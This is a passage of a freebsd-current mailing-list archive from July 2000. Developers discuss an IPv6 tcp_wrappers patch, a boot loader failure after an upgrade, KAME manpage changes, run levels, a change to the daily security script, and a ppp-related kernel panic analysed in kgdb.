freebsd-current@freebsd.org Received: from hitpro.hitachi.co.jp (hitpro.hitachi.co.jp [133.145.224.7]) by hub.freebsd.org (Postfix) with ESMTP id 6E05437B931 for ; Tue, 11 Jul 2000 06:47:49 -0700 (PDT) (envelope-from ume@bisd.hitachi.co.jp) Received: from bisdgw.bisd.hitachi.co.jp by hitpro.hitachi.co.jp (8.9.3/3.7W-hitpro) id WAA13160; Tue, 11 Jul 2000 22:47:43 +0900 (JST) Received: from plum.ssr.bisd.hitachi.co.jp by bisdgw.bisd.hitachi.co.jp (8.9.3+3.2W/3.7W-bisdgw) with ESMTP id WAA17581 for ; Tue, 11 Jul 2000 22:47:43 +0900 (JST) (envelope-from ume@bisd.hitachi.co.jp) Received: from localhost (IDENT:quwjxjeQdvrjx3YshGId9tIz56jB1gjbCYXpv7zK2gBT0Byp0xJMGrRaRhe2+fhH@localhost [::1]) by plum.ssr.bisd.hitachi.co.jp (8.10.1/3.7W-plum) with ESMTP id e6BDlgF67942 for ; Tue, 11 Jul 2000 22:47:43 +0900 (JST) (envelope-from ume@bisd.hitachi.co.jp) Message-Id: <200007111347.e6BDlgF67942@plum.ssr.bisd.hitachi.co.jp> To: current@FreeBSD.org Subject: Update IPv6 support for tcp_wrappers From: Hajimu UMEMOTO X-Mailer: Mew version 1.94.2 on XEmacs 21.1 (Bryce Canyon) X-PGP-Fingerprint: D3 3D D3 54 88 13 DE 22 3F 31 C4 4D A1 08 84 7B X-PGP-Public-Key: http://www.imasy.org/~ume/ume@bisd.hitachi.co.jp.asc X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 4.0-STABLE Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 11 Jul 2000 22:47:42 +0900 X-Dispatcher: imput version 20000414(IM141) Lines: 23 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I updated the patch for tcp_wrappers to support IPv6 scoped address. It enables us to control link-local connections by interface like this: ALL : ALL@[fe80::%ed0]/10 : allow ALL : ALL@[fe80::]/10 : deny I'd like to commit it. Though, new IPv6 support code is running without any problems over two months, it has many changes and is not reviewed. I think tcp_wrapper is nervous part of security. Could someone pleace review it? The patch is available from: http://www.imasy.or.jp/~ume/ipv6/FreeBSD/tcp_wrappers-scopeid.diff Thanks, -- Hajimu UMEMOTO @ Business Solution System Development Div., Hitachi Ltd. E-Mail: ume@bisd.hitachi.co.jp ume@mahoroba.org ume@FreeBSD.org URL: http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 6:57: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 4EBCB37BF61 for ; Tue, 11 Jul 2000 06:57:02 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id JAA76264 for current@freebsd.org; Tue, 11 Jul 2000 09:57:00 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <200007111357.JAA76264@blackhelicopters.org> Subject: *weird* post-upgrade problem To: current@freebsd.org Date: Tue, 11 Jul 2000 09:57:00 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Before I start digging into this, I thought someone might have a lead for me. The archives say nothing, although I'm not sure how to search on something like this. ("Just Plain Weird" generates too many hits.) I just upgraded to yesterday's -current from last week's -current. via make buildworld, make buildkernel, make installkernel, and make installworld, mergemaster, blah blah blah. Now, when I boot, I get: No /boot/loader >>FreeBSD/i386 BOOT Default: 0:ad(0,a)/kernel boot: So, I typed in the default. Nothing seemed to happen, but the hard drive lit up, so I figured that I'd leave it be. No dmesg appeared. Moments later, however, a login prompt appears. The keyboard is still nonresponsive. I can access network services the laptop offers, but I don't have telnetd or sshd installed. :( Does anyone have *any* clue on where I should start to look? I'm rigging up a serial console as soon as I'm done here. Thanks, ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 6:58:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 6BAB837BFF5; Tue, 11 Jul 2000 06:58:19 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from magnesium.scientia.demon.co.uk ([192.168.91.34] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.15 #1) id 13C0WZ-000Nqd-00; Tue, 11 Jul 2000 14:56:35 +0100 Received: (from ben) by magnesium.scientia.demon.co.uk (Exim 3.15 #2) id 13C0WZ-0004vb-00; Tue, 11 Jul 2000 14:56:35 +0100 Date: Tue, 11 Jul 2000 14:56:35 +0100 From: Ben Smithurst To: Kris Kennaway , sheldonh@FreeBSD.org Cc: current@freebsd.org Subject: Re: KAME integration and plans Message-ID: <20000711145635.A18912@magnesium.scientia.demon.co.uk> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="y0ulUmNC+osPPQO6" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --y0ulUmNC+osPPQO6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Kris Kennaway wrote: > In this vein, I'd like to suggest a new "hands-off" policy of not > committing gratuitous changes to KAME-derived code, including manpage > changes, unless: >=20 > a) The commit is required for operation on FreeBSD (in which case it's not > really gratuitous) I'd like to commit this: --- stf.4 2000/07/04 16:39:23 1.4 +++ stf.4 2000/07/11 13:44:47 @@ -36,7 +36,7 @@ .Nd .Tn 6to4 tunnel interface .Sh SYNOPSIS -.Cd "pseudo-device stf" +.Cd "pseudo-device gif" .Sh DESCRIPTION The .Nm 'pseudo-device stf' gives an error, stf lives in the gif driver, so this is required really. Is that ok? Is there anyone at KAME I should send this to as well? > Sheldon Hearn will be taking care of passing the manpage diffs back to > KAME. ah... right. I guess that answers my question. :-) Sheldon - you can commit this yourself if you want, or shall I do it and you just take care of passing it back to KAME? It's releated to PR 19163 by the way. --=20 Ben Smithurst / ben@FreeBSD.org / PGP: 0x99392F7D --y0ulUmNC+osPPQO6 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: Do7t63k06OMjEP0WOxrvnCfSzHTkYZSe iQCVAwUBOWsnkisPVtiZOS99AQEaqwP+K3EmEH83XXsA10v48XmIs9bKiNd5upNB 7+ofaldpx7L5clz4yLXXWlX7Siup/SZczzfmONZ6na33xdhHKLrYxA23ZNQlThqX s0yyaNkyi+QjqjyvuQSA+Dtep8A3QGZpVgT9Ar2eD/S4I9M6pKk1MpuYRE5em8Bu UU7F/KDnJqw= =7msW -----END PGP SIGNATURE----- --y0ulUmNC+osPPQO6-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 7:10:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id F0EA137BFC4 for ; Tue, 11 Jul 2000 07:10:50 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id KAA76358 for current@freebsd.org; Tue, 11 Jul 2000 10:10:50 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <200007111410.KAA76358@blackhelicopters.org> Subject: re: *weird* post-upgrade problem To: current@freebsd.org Date: Tue, 11 Jul 2000 10:10:50 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well, I fixed the problem with a serial console, and doing cp /boot/loader.old /boot/loader Has anyone else seen anything like this? Or is it flat-out pilot error? Thanks, ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 7:15:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 2CBA437BFC4; Tue, 11 Jul 2000 07:15:09 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13C0oU-000LW6-00; Tue, 11 Jul 2000 16:15:06 +0200 From: Sheldon Hearn To: Ben Smithurst Cc: Kris Kennaway , current@FreeBSD.org Subject: Re: KAME integration and plans In-reply-to: Your message of "Tue, 11 Jul 2000 14:56:35 +0100." <20000711145635.A18912@magnesium.scientia.demon.co.uk> Date: Tue, 11 Jul 2000 16:15:06 +0200 Message-ID: <82713.963324906@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000 14:56:35 +0100, Ben Smithurst wrote: > 'pseudo-device stf' gives an error, stf lives in the gif driver, so this > is required really. Is that ok? Is there anyone at KAME I should send > this to as well? I'm interested to see how the KAME folks react to our chucking out the pseudo-device keyword from config(8). :-) > > Sheldon Hearn will be taking care of passing the manpage diffs back to > > KAME. > > ah... right. I guess that answers my question. :-) Sheldon - you can > commit this yourself if you want, or shall I do it and you just take > care of passing it back to KAME? It's releated to PR 19163 by the way. For now, I'll be looking at passing back to the KAME folks all those fixes that this pending merge will blow away. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 7:19:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id 2D53437B931 for ; Tue, 11 Jul 2000 07:19:14 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id JAA99182; Tue, 11 Jul 2000 09:19:08 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Tue, 11 Jul 2000 09:19:08 -0500 (CDT) From: David Scheidt To: Mike Meyer Cc: "Daniel C. Sobral" , clefevre@citeweb.net, freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <14698.35415.557998.369712@guru.mired.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Mike Meyer wrote: :Daniel C. Sobral writes: :> Mike Meyer wrote: :> The multiple levels are there to deal with changes in state. In BSD, for :> instance, we have single user/multi-user. A number of other variations :> can exist, both in heavy duty servers where you might want to bring :> certain services down for upgrade and then back up, and "desktop" :> machines, such as notebooks where you can be stand-alone, docked into :> different networks (eg. home/work). : :I'm familiar with why mutliple levels exist. I've never run into a :system that had a real use for more than three run levels - powered :off, maintenance, and up - though I've not dealt with Some of the machines I work on have three useful multi-user states. Runlevel 2 is plain-old multi-user mode, where filesystems are mounted, and the normal collection of services (mail, telnetd, ftpd, etc) are running. Run level 3 adds the DBMS, run level 4 adds the database dependent application. :P.S. - anyone else remember rc.single? Anyone care? Haven't seen one since Ultirx. shudder. David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 7:28:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id AFF8F37B57F for ; Tue, 11 Jul 2000 07:28:46 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 11 Jul 2000 15:28:46 +0100 (BST) To: freebsd-current@freebsd.org Subject: HEADS UP: Inode numbers in daily security output. X-Request-Do: Date: Tue, 11 Jul 2000 15:28:45 +0100 From: David Malone Message-ID: <200007111528.aa94206@salmon.maths.tcd.ie> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just changed the daily security secipt to include the inode numbers of suid files. This means the first time you run the updated script you will see lots of files have "changed" - this is just the inclusion of the inode numbers in the listing. I'd like to MFC this to 4.X in a few days, but I'm not sure if I should wait 'till after 4.1 is released. Opinions? David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 7:56:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 133F137B599 for ; Tue, 11 Jul 2000 07:56:47 -0700 (PDT) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id KAA03885; Tue, 11 Jul 2000 10:56:44 -0400 (EDT) (envelope-from bsdx@looksharp.net) Date: Tue, 11 Jul 2000 10:56:44 -0400 (EDT) From: Adam To: Michael Lucas Cc: current@FreeBSD.ORG Subject: re: *weird* post-upgrade problem In-Reply-To: <200007111410.KAA76358@blackhelicopters.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If you dont use the loader, then the device.hints wont load and you wont have a console for the kernel to print to. I had the same symptoms the other day when I typo'ed the name of the device.hints file. Don't know where your loader went but if I were you I'd try compiling it and sticking it in instead of the old one. If you dont like the device.hints thing, there is some way to compile it in staticly. On Tue, 11 Jul 2000, Michael Lucas wrote: >Well, I fixed the problem with a serial console, and doing > >cp /boot/loader.old /boot/loader > >Has anyone else seen anything like this? Or is it flat-out pilot error? > >Thanks, >==ml > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 8:37:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.ruhr.de (in-ruhr2.ruhr.de [141.39.224.60]) by hub.freebsd.org (Postfix) with SMTP id 0AC6437C03F for ; Tue, 11 Jul 2000 08:37:49 -0700 (PDT) (envelope-from ue@nathan.ruhr.de) Received: (qmail 47255 invoked by alias); 11 Jul 2000 15:38:11 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.9.3/8.9.3) id RAA00813 for freebsd-current@freebsd.org; Tue, 11 Jul 2000 17:34:30 +0200 (CEST) (envelope-from ue) Date: Tue, 11 Jul 2000 17:34:30 +0200 From: Udo Erdelhoff To: freebsd-current@freebsd.org Subject: ppp-related panic in sbdrop() Message-ID: <20000711173429.A247@nathan.ruhr.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've finally managed to capture a crashdump after a panic in sbdrop(). The machine in question uses ppp/ipfw/natd to connect a small LAN to the outside world via a DSL link. ppp started to misbehave: NS queries were sent out but didn't come back (I had tcpdumps running on both tun0 and ed1). I tried to terminate ppp by sending a SIGTERM. ppp (pid 78) was still around after a minute, so I send a SIGTERM. The machine crashed immediately. The machine world as of 7/7, I've only added the latest type fix to ppp/bundle.c (rev 1.99). The point of doom: bash# gdb -k /sys/compile/UE/kernel.debug /var/crash/vmcore.0 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... IdlePTD 3952640 initial pcb at 325320 panicstr: sbdrop panic messages: --- panic: sbdrop syncing disks... done Uptime: 1h4m5s dumping to dev #da/0x20001, offset 190228 dump 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 303 dumppcb.pcb_cr3 = rcr3(); (kgdb) wwhheerree #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 #1 0xc01717f4 in poweroff_wait (junk=0xc02b3a26, howto=-946356848) at ../../kern/kern_shutdown.c:553 #2 0xc01931c8 in sbdrop (sb=0xc797bd90, len=158) at ../../kern/uipc_socket2.c:793 #3 0xc0193058 in sbflush (sb=0xc797bd90) at ../../kern/uipc_socket2.c:772 #4 0xc0192b11 in sbrelease (sb=0xc797bd90, so=0xc6d59b40) at ../../kern/uipc_socket2.c:455 #5 0xc0191443 in sorflush (so=0xc6d59b40) at ../../kern/uipc_socket.c:988 #6 0xc01900ad in sofree (so=0xc6d59b40) at ../../kern/uipc_socket.c:262 #7 0xc01901de in soclose (so=0xc6d59b40) at ../../kern/uipc_socket.c:327 #8 0xc018553a in soo_close (fp=0xc0f8fe40, p=0xc74b32a0) at ../../kern/sys_socket.c:193 #9 0xc0166165 in fdrop (fp=0xc0f8fe40, p=0xc74b32a0) at ../../sys/file.h:212 #10 0xc01660ab in closef (fp=0xc0f8fe40, p=0xc74b32a0) at ../../kern/kern_descrip.c:1079 #11 0xc0165dfc in fdfree (p=0xc74b32a0) at ../../kern/kern_descrip.c:945 #12 0xc016854d in exit1 (p=0xc74b32a0, rv=9) at ../../kern/kern_exit.c:186 #13 0xc01732d2 in sigexit (p=0xc74b32a0, sig=9) at ../../kern/kern_sig.c:1499 #14 0xc017304c in postsig (sig=9) at ../../kern/kern_sig.c:1402 #15 0xc028e6f0 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = -1077940036, tf_esi = 134920284, tf_ebp = -1077940004, tf_isp = -946356268, tf_ebx = 672838652, tf_edx = 134909952, tf_ecx = 2048, tf_eax = 29, tf_trapno = 7, tf_err = 2, tf_eip = 673074366, tf_cs = 31, tf_eflags = 647, tf_esp = -1077940096, tf_ss = 47}) at ../../i386/i386/trap.c:164 #16 0xc02838f5 in Xint0x80_syscall () #17 0x80781c6 in ?? () #18 0x806eaa9 in ?? () #19 0x806e1fb in ?? () #20 0x8078778 in ?? () #21 0x805996f in ?? () #22 0x804ccd8 in ?? () #23 0x806a776 in ?? () #24 0x806a35f in ?? () #25 0x804b0a1 in ?? () (kgdb) frame 2 #2 0xc01931c8 in sbdrop (sb=0xc797bd90, len=158) at ../../kern/uipc_socket2.c:793 793 panic("sbdrop"); (kgdb) print sb $1 = (struct sockbuf *) 0xc797bd90 (kgdb) print *sb $2 = {sb_cc = 158, sb_hiwat = 20480, sb_mbcnt = 512, sb_mbmax = 163840, sb_lowat = 1, sb_mb = 0x0, sb_sel = {si_pid = 0, si_note = { slh_first = 0x0}, si_flags = 0}, sb_flags = 64, sb_timeo = 0} (kgdb) print len $3 = 158 (kgdb) print m $4 = (struct mbuf *) 0xc02b3a26 (kgdb) print *m $5 = {m_hdr = {mh_next = 0x72646273, mh_nextpkt = 0x4e00706f, mh_data = 0x63706900
, mh_len = -1377828864, mh_type = -16336, mh_flags = 73}, M_dat = {MH = { MH_pkthdr = {rcvif = 0x6d6d7564, len = -1373634439, header = 0x616dc030
, csum_flags = 1668248440, csum_data = 1718968939, aux = 0xae600000}, MH_dat = {MH_ext = { ext_buf = 0x616dc030
, ext_free = 0x636f7378, ext_size = 1937007979, ext_ref = 0xaea00000}, MH_databuf = "0Àmaxsockets\000\000 ®0Àsockbuf_waste_factor\000\000\000\000à®0Àkern.ipc.maxsockets\000\004¯0À\000\000\000\000\000\000\000\000\024¯0Àaccept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freeing free sf_buf\000sfpbs"}}, M_databuf = "dummy\000 ®0Àmaxsockbuf\000\000`®0Àmaxsockets\000\000 ®0Àsockbuf_waste_factor\000\000\000\000à®0Àkern.ipc.maxsockets\000\004¯0À\000\000\000\000\000\000\000\000\024¯0Àaccept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freein"...}} (kgdb) print mn $6 = (struct mbuf *) 0xc02b3a26 (kgdb) print *mn $7 = {m_hdr = {mh_next = 0x72646273, mh_nextpkt = 0x4e00706f, mh_data = 0x63706900
, mh_len = -1377828864, mh_type = -16336, mh_flags = 73}, M_dat = {MH = { MH_pkthdr = {rcvif = 0x6d6d7564, len = -1373634439, header = 0x616dc030
, csum_flags = 1668248440, csum_data = 1718968939, aux = 0xae600000}, MH_dat = {MH_ext = { ext_buf = 0x616dc030
, ext_free = 0x636f7378, ext_size = 1937007979, ext_ref = 0xaea00000}, MH_databuf = "0Àmaxsockets\000\000 ®0Àsockbuf_waste_factor\000\000\000\000à®0Àkern.ipc.maxsockets\000\004¯0À\000\000\000\000\000\000\000\000\024¯0Àaccept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freeing free sf_buf\000sfpbs"}}, M_databuf = "dummy\000 ®0Àmaxsockbuf\000\000`®0Àmaxsockets\000\000 ®0Àsockbuf_waste_factor\000\000\000\000à®0Àkern.ipc.maxsockets\000\004¯0À\000\000\000\000\000\000\000\000\024¯0Àaccept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freein"...}} (kgdb) print next $8 = (struct mbuf *) 0x0 The "adress out of bounds" messages looks strange. I'll try to reproduce the bug after updating kernel, sources and world. I have stored the kernel, modules (build with kernel, only ng_ether used) and the dump on tape so I should be able to produce additional details if needed. /s/Udo PS: One strange thing about dumping: savecore never found a dump during "normal" startup. After this crash, I booted single-user, fsck'ed and mount'ed my filesystems, set the dump device, called savecore and voila, one crashdump stored in /var/crash. The machine has 64 MBytes of RAM and 156 MByte swap (da0s1b). -- Getting a SCSI chain working is perfectly simple if you remember that there must be exactly three terminations: one on one end of the cable, one on the far end, and the goat, terminated over the SCSI chain with a silver-handled knife whilst burning *black* candles. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 8:38:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id E082E37BD80; Tue, 11 Jul 2000 08:38:38 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.15 #1) id 13C1CL-000NyA-00; Tue, 11 Jul 2000 15:39:45 +0100 Received: (from ben) by strontium.scientia.demon.co.uk (Exim 3.15 #1) id 13C1CL-000A8q-00; Tue, 11 Jul 2000 15:39:45 +0100 Date: Tue, 11 Jul 2000 15:39:45 +0100 From: Ben Smithurst To: Sheldon Hearn Cc: Kris Kennaway , current@FreeBSD.org Subject: Re: KAME integration and plans Message-ID: <20000711153945.S11000@strontium.scientia.demon.co.uk> References: <20000711145635.A18912@magnesium.scientia.demon.co.uk> <82713.963324906@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="K8zN2sh9fO5jmbe4" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <82713.963324906@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --K8zN2sh9fO5jmbe4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Sheldon Hearn wrote: > On Tue, 11 Jul 2000 14:56:35 +0100, Ben Smithurst wrote: >=20 >> 'pseudo-device stf' gives an error, stf lives in the gif driver, so this >> is required really. Is that ok? Is there anyone at KAME I should send >> this to as well? >=20 > I'm interested to see how the KAME folks react to our chucking out the > pseudo-device keyword from config(8). :-) Ah, good point... I did my test on -stable where pseudo-device still exists. I'll wait for a while for this one then. There's another PR open on this problem, which asmodai is looking at (18852). --=20 Ben Smithurst / ben@FreeBSD.org / PGP: 0x99392F7D --K8zN2sh9fO5jmbe4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: 4pkMN4qsrrvvAjQJqdmzlT2xOnY3ByKu iQCVAwUBOWsxsCsPVtiZOS99AQGSiAP6AgbYi9jqjVgf8CREH4UjYlH7ackWA9lB iaI6jRP26bgOALoRvi46quFNDTd9fmXVAKLssAse7KnVG8cXvzQsq0oZhP8KHrSS 8Dv1AewLegA9gJWgATqtiWD2N3r+I+t3ZmWUT9S2GvWmwqqHfstyxdnAbyLCt7BX evZ1tadPsw0= =4Y37 -----END PGP SIGNATURE----- --K8zN2sh9fO5jmbe4-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:13:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (Postfix) with ESMTP id B739337B53B for ; Tue, 11 Jul 2000 09:13:37 -0700 (PDT) (envelope-from ust@cert.siemens.de) X-Envelope-Sender-Is: ust@cert.siemens.de (at relayer david.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.10.1/8.10.1) with ESMTP id e6BGDYR08967; Tue, 11 Jul 2000 18:13:34 +0200 (MET DST) Received: from mars.cert.siemens.de (ust.mchp.siemens.de [139.23.201.17]) by mail1.siemens.de (8.10.1/8.10.1) with ESMTP id e6BGDXT24429; Tue, 11 Jul 2000 18:13:33 +0200 (MET DST) Received: from alaska.cert.siemens.de (reims.mchp.siemens.de [139.23.202.134]) by mars.cert.siemens.de (8.10.2/8.10.2/Siemens CERT [ $Revision: 1.8 ]) with ESMTP id e6BGDX504582; Tue, 11 Jul 2000 18:13:33 +0200 (CEST) Received: (from ust@localhost) by alaska.cert.siemens.de (8.10.2/8.10.2/alaska [ $Revision: 1.4 ]) id e6BGDXL40917; Tue, 11 Jul 2000 16:13:33 GMT Date: Tue, 11 Jul 2000 18:13:33 +0200 From: Udo Schweigert To: David Malone Cc: freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: Inode numbers in daily security output. Message-ID: <20000711181333.A32431@alaska.cert.siemens.de> Mail-Followup-To: David Malone , freebsd-current@FreeBSD.ORG References: <200007111528.aa94206@salmon.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200007111528.aa94206@salmon.maths.tcd.ie>; from dwmalone@maths.tcd.ie on Tue, Jul 11, 2000 at 03:28:45PM +0100 X-Operating-System: FreeBSD 4.0-STABLE Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jul 11, 2000 at 15:28:45 +0100, David Malone wrote: > I've just changed the daily security secipt to include the inode > numbers of suid files. This means the first time you run the updated > script you will see lots of files have "changed" - this is just > the inclusion of the inode numbers in the listing. > I think this is a very good idea. > I'd like to MFC this to 4.X in a few days, but I'm not sure if I > should wait 'till after 4.1 is released. Opinions? > Give us at least two days with it, but I think it is too tight to 4.1 release date to get MFC'ed. Regards -- Udo Schweigert, Siemens AG | Voice : +49 89 636 42170 ZT IK 3, Siemens CERT | Fax : +49 89 636 41166 D-81730 Muenchen / Germany | email : ust@cert.siemens.de PGP-2/5 fingerprint | D8 A5 DF 34 EC 87 E8 C6 E2 26 C4 D0 EE 80 36 B2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 9:14:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail1.teleport.com (mail1.teleport.com [192.108.254.26]) by hub.freebsd.org (Postfix) with SMTP id DECDD37B53B for ; Tue, 11 Jul 2000 09:14:15 -0700 (PDT) (envelope-from anholt@teleport.com) Received: (qmail 2349 invoked from network); 11 Jul 2000 16:14:10 -0000 Received: from i48-47-13.pdx.du.teleport.com (HELO ?10.1.1.2?) (216.26.9.141) by mail1.teleport.com with SMTP; 11 Jul 2000 16:14:10 -0000 Mime-Version: 1.0 X-Sender: anholt@mail.teleport.com (Unverified) Message-Id: Date: Mon, 10 Jul 2000 11:14:16 -0700 To: current@freebsd.org From: Eric Anholt Subject: syscons hangs with -current Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: 